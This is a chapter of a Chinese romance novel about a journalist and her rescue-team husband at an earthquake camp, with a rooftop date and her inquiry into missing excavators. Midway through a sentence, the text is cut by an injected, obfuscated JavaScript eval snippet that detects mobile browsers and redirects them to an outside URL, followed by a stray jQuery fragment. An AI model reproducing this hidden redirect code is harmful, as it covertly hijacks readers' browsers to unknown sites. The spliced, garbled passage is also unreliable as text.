黎叙闻带着一身生人勿进的气场走出门时,夕阳正向下沉去。
查理早把自己的行囊带来,杵在营地边缘,望眼欲穿地等黎叙闻来,要么让他安营扎寨,要么把他扫地出门。
黎叙闻走过来,脸色泛着一种青灰色,对他胡乱一点头,转身就走。
身后的人脱口而出半句“你还好吗”,被她远远抛在身后开裂的水泥地上,轻飘飘落了地。
查理挠挠头,但想起自己能靠着救援队取暖,又开心起来,乐颠颠地开始搭帐篷了。
黎叙闻手里握着那半张小纸条,上面画着大本营的缩略图,在图上很远的小小一角,圈出了个小圆圈来。
她认得那里,在他们扎营的学校的角落,有一幢二层小楼,原来大概是当岗亭用的,地震时竟一点缝都没裂。
黎叙闻按着地图一路摸过去,靠近了就发现齐寻坐在楼顶上,正对着她笑。
“后面,”他指着背后:“我接你。”
一看见他,黎叙闻面上笑着,眼睛先酸了。
她绕到小楼背后,看见那里有临时用砖块堆出来的台阶,一级一级盘曲到楼顶。
应该是齐寻怕她上来不方便,给她搭的。
黎叙闻唇角漾出一个弧度来,抬头看,就见他高大的身影逆着光,在一片橙红色的融金里,勾成一个明暗相接的剪影。
黎叙闻抬脚拾级而上,等走到最后一级,心里的龃龉就散了一大半,笑着把手交给他,一步跨到他身边:“这就是咱们在库萨的约会?”
齐寻身上有清爽的沐浴露气味,融在傍晚微凉的风里。他也笑道:“嗯,我想了挺久,不给个鼓励啊。”
黎叙闻扭头看他布置过的楼顶:两个垒起来的小石凳,一张垫高的木板,上面放着两瓶水,在最前面隆重登场的,竟然是一颗苹果。
她跑过去蹲下,瞪大了眼睛盯着它:“水果!哪儿来的?”
齐寻也在慢慢蹲在她身边:“今天帮一个阿姨找到了家庭相册,她给的。”
很小的一颗苹果,表皮还泛着点青绿,皱巴巴的,带着一股青涩的香气。
它确实其貌不扬,平日里在水果店都看不见这种品相,但此时它坐在红彤彤的晚霞里,绿得特别理直气壮。
它可是水果,来了这么些天了,黎叙闻从来没见过水果。
“味道可能一般,”齐寻轻声说:“但还是吃了吧,补充点纤维素。”
黎叙闻看着它,都能想象齐寻是怎么小心地把它揣进怀里,揣了一整天,时不时想象她见到这难看的苹果的表情,然后花心思给她布置楼顶,就为了送她一个小小的惊喜。
黎叙闻有点想哭。
她把它拿起来,随便擦了擦,咔嚓一口咬下去,带着涩意的酸甜汁水立刻炸开在她口中,果肉微硬的颗粒感擦过她的舌尖,带起更多津液。
原来苹果是这个味道。
原来拥有本身不会带来满足,要先缺,先匮乏,才能体会到它独一无二的珍贵。
黎叙闻唇上沾着汁水,倾身过去,轻轻吻住齐寻的嘴唇。
那一小口苹果慢慢地从她口中渡过去,带着她的体温和气味,游动到他的齿间。
他们在无边慷慨的红色夕阳里,交换了一个珍贵的、苹果味的吻。
……
等这个绵长的吻在风里散尽,黎叙闻盘腿坐在地上,神秘兮兮道:“我也有礼物。”
说着,她从怀里掏出从查理那里打秋风来的能量棒,献宝似地捧到齐寻面前:“将将——”
齐寻眼睛亮了一瞬:“从哪儿来的?”
“从查理,就是我那个学弟,从他那儿抢来的呗,”黎叙闻半张脸映在晚霞里,眸子被浸得透亮:“不用客气,当他给你们赔礼道歉。”
齐寻神色一顿,抬起眼来:“……你知道了?”
“他胡言乱语,也知道错了。你跟大家说,不要放在心上。”她停了停,又说:“队里把吃的分出去一半,我知道你为难。这点东西解决不了什么,但聊胜于无吧。”
她表情平静,看不出什么端倪,语气也如常:“算我对微光的一点心意。”
齐寻笑了声:“这话说的,你不也是微光的一员么。”
这小楼虽不算高,但操场空旷,也能看到营地的边缘。黎叙闻转过头,看着查理一个人在那手忙假乱地搭帐篷,按下葫芦浮起了瓢,轻轻地说:“是么。”
她侧脸在余晖中划出一道亮色轮廓,眼睫微垂,盛着些不明所以的怅然。
齐寻坐在她身边,用目光描画了她的侧脸好几遍,才问:“怎么了?”
他其实早知道她在粉饰平静。
表情可以掩饰,语气可以伪装,但她沉沉的呼吸和凝重的脚步声,早就先一步出卖了她。
浓烈夕阳已然沉没,清透凛冽的蓝色渐渐笼罩了营地,连绵的营帐外,开始亮起一盏又一盏昏黄的灯。
黎叙闻在这片冷蓝里转过脸,定定地看着他,说:“我要先跟你道歉。”
齐寻笑了声,问:“是杀人越货了,还是放火烧山了?”
“我在认真跟你说……”黎叙闻抱起膝盖:“还记得我跟你说,挖掘机开不进来,很有可能是人祸么?我在调查这件事。但你知道的,我没办法出营地,所以我必须找个帮手——查理就是我的帮手。”
夜里的风已经冷了,吹得她声音泛哑:“我太没用了,要是没有他,这件事我就是查不下去,就是没办法让你们不受伤。”
说到最后她声音都开始发抖,听得齐寻心跳一阵紧似一阵,手足无措地把她搂进怀里:“我知道,我都知道。”
黎叙闻浑身被风吹得冰凉,在他胸口靠了好一会儿,才觉得自己的心慢慢解冻了。
“如果我继续查,不只是我,你也会被看成是不称职的副队长。”她艰涩地吞咽一次:“可如果这次退了,以后每一次我都会退缩,到时候,我就没脸再说我是个记者了。”
“所以齐寻,”她忽然坐起来,盯着他的眼睛:“我的所作所为要是真的让你为难,我就退出微光,到时候你、你就……”
后半句话生涩地在唇齿间滚了一圈,最后还是没说出口。
她入队时间不长,但几次三番的并肩作战,微光这些队友对她来说,早就成了不可或缺的一部分。
现在说退出就退出,她是真的舍不得。
黎叙闻整个人浸在最后的余晖里,微微垂着头,停了很长时间,才带着鼻音问:“你说,我该怎么办呢?”
齐寻望着她紧绷又悲伤的脸,喉咙噎得发紧。
他知道她的初心,理解她的犹豫,她跟队友之间的情谊,他更是日日都看在眼里。
现在被这样议论排挤,为了保护他到了要退队的地步,她心里得有多委屈。
“你用不着躲,我也不需要你这样的牺牲来保护。”齐寻俯身小心翼翼亲吻她额角:“你想做什么就去做,我永远在你背后——这话我跟你说过好多次,你都不记得了?”
“但是……”
“没但是。”
“不是,他们说……”
“没他们。”
“那我……”
“嗯,可以,我同意。”
黎叙闻无奈地笑出声来:“……齐寻。”
“嗯?”
她抬起头,指着远方:“你看。”
齐寻也仰起头望去,暮色四合的尽头处,一颗耀眼的星星,正闪烁着亮起来。
“它是我最喜欢的一颗星星。”
它沉默着守望在最远的地方,有光时一点也不显眼,可每每夜色深沉,她就能看到,它始终在那里,远远地、永不退场地陪着她。
齐寻伸出手,手指撑开她指着星星的手,然后一根一根地将指尖楔入她的指缝里,最后慢慢地握紧。
“我也在的,闻闻,我就在这,一直陪着你。”
……
那天晚上,纪士诚结束工作,钻睡袋里刚准备眯一会儿,赶第二天的第一拨救援,一包烟却扔在了他的面前。
他盯着那包烟看了会儿,抬头道:“明儿回来再说吧?”
齐寻拉了凳子,坐在他旁边:“协调好了,聊完你就睡,明天第一拨我带B组去。”
纪士诚:“……”
他叹了口气,认命地坐起来。
指挥部的灯就这样亮了一夜。
第二天黎叙闻醒来时,身旁仍放了灌满的保温杯,齐寻已经带队出发了。
连续数天连
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17253978|190916||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轴转的救援,让队员们体力透支严重,此时天光已经大亮,起来的人依旧不多,三三两两蹲在帐篷里照顾伤员和幸存者。
黎叙闻转了一圈,把手上的活儿干完,便跑到查理帐篷门口,拿小石头敲他帐篷面。
砸了起码五分钟,里面终于传来一阵不耐的蛄蛹声,查理顶着个爆炸头,把帐篷拉开:“黎,怎么?”
“几点了?”黎叙闻蹲在他门口:“我答应你的事可是做到了,你打算什么时候去搞调度单?”
查理痛苦地倒在睡袋上,形象什么的已经与他无关了:“你们救援队是不是就喜欢叫别人起床?我五点就被你们叫起来,刚睡了没几分钟。”
黎叙闻冷笑:“狗屁,五点多,谁叫你起来的?你见鬼了吧。”
“就有,他不是你老公吗?”查理慢吞吞坐起来:“Mr.Found.”
黎叙闻愣了半天,意识到他说的是齐寻,哑然失笑:“不会念人家名字就起绰号是吧?他找你干什么?”
“不,不是他一个人,”查理半闭着眼睛摆手:“是那天我在现场见到的所有人。”
当时天都没亮,查理忽然被人从外面拍醒,还以为又地震了,着急忙慌爬起来一看,整个B组穿戴整齐,一个不落地站在门口,给他围起来了。
毫不夸张,查理当时觉得,自己大概会死在这里。
为首的还是那天他遇见的那个队长,整个人比他大了至少两个码,压迫感十足地站在他面前,出言却很客气:“之前大概有些误会,你有什么要对我们说的么?”
他身后站着将近二十个队员,个个都在盯着他瞧,却没什么敌意,目光反而很好奇。
查理或许年轻,但他并不蠢。他知道,这队长应该是站在他这一边,来给他机会消除误会的。
他想了想,问:“请问你跟黎,就是那个很漂亮的女孩,是什么关系?”
齐寻笑了下:“我是她丈夫。”
“丈夫”一词四个音,每个都被他咬得很硬,连带着他硬朗的轮廓,每一寸都显得像在挑衅。
查理:“……”
这死嘴!干什么要说她漂亮!
他木着脸:“你别误会,她只是我的主人。”
……说完他就意识到,这简直太糟糕了。
小熊站在齐寻身后,听到这个词,实在没憋住,噗嗤一声笑了出来。
这笑好像会传染,笑声渐渐响成了一片,B组有一个算一个,都忍不住了。
齐寻黑着脸:“没要说的是吧,那你可以拔营走人了。”
“啊啊啊不,有!有!”
接着,他解释了自己的履历、跟黎叙闻素未蒙面的同门关系,详细地说明了他和黎叙闻在做的事情,并信誓旦旦保证,他没有拍摄任何有关救援队的画面,并以自己的职业生涯起誓,如果要拍,一定会经过他们的同意,最后,他非常诚恳地,为自己那天的行为道了歉——
“我会那么说,是因为我真的在中心区看到了有人在摆拍。这也印证了黎的猜测,中心区资源过剩,而这里连台破碎机都没有。但我不该因为这样,就认为你们跟他们一样,真的非常、非常抱歉。”
这一方小小的帐篷前,有半分钟鸦雀无声。
整个B组都听得愣住了,看着他的眼神,也多了些亲近和敬佩。
没人想到挖掘机的缺席竟然是人祸,他们日日在现场,什么都没意识到,黎叙闻大门不出二门不迈,竟然能推测到这种地步。
人家两个殚精竭虑地替整个救援队考虑,有些人却还在拿有色眼镜看他们。
“行,”齐寻点头:“没事了,睡你的觉吧。”
查理十分小心地问:“怎么称呼你?”
齐寻有心难为他,故意只告诉他中文名,偏偏这两个字在英文里都属于地狱级别的难念。
查理学得险些把自己舌头咬下来,小熊笑得不行,跟他说:“他的名字,是find的意思。”
查理上去就给了小熊一个拥抱,以报答他救命之恩,又转头对齐寻道:“Mr.Find.”
齐寻哂笑了一声,一挥手转身要走,迈了两步又回过身,纠正他:“Found.”
毕竟该找的人,他已经找到了。